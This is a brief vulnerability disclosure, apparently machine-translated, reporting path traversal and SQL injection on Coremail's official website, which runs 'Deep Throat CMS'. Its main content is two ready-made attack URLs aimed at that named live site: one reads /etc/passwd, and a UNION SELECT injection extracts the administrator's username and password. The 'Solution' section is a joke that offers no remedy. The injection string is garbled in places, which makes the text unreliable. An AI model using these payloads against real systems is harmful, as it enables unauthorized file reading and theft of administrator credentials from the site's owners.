Yingshi information (Beijing) Co., Ltd. official website coremail.cn Injection

Goals: http://www.coremail.cn/
Program: Deep Throat CMS
There is an SQL injection vulnerability that may cause arbitrary file reading. Someone may have discovered it early. I will send it if no one sends it.
 
Detailed description:
 
 
Http://www.coremail.cn /? P = 1 & m =/.../passwd
Read the/etc/passwd file on the server
 
Http://www.coremail.cn /? P = 24 & m = search & keyword = aaa % 2527% 20 union % 20 select % ,,2, 13%, username, 6, 7, pwd, 9, 10, 11, 12, 20 from % 20shl_user % 23
Obtain the administrator username and password.
Proof of vulnerability:
 
 

 
Solution:
 
Give up deep throat, so good CMS, right.
Author: rootsecurity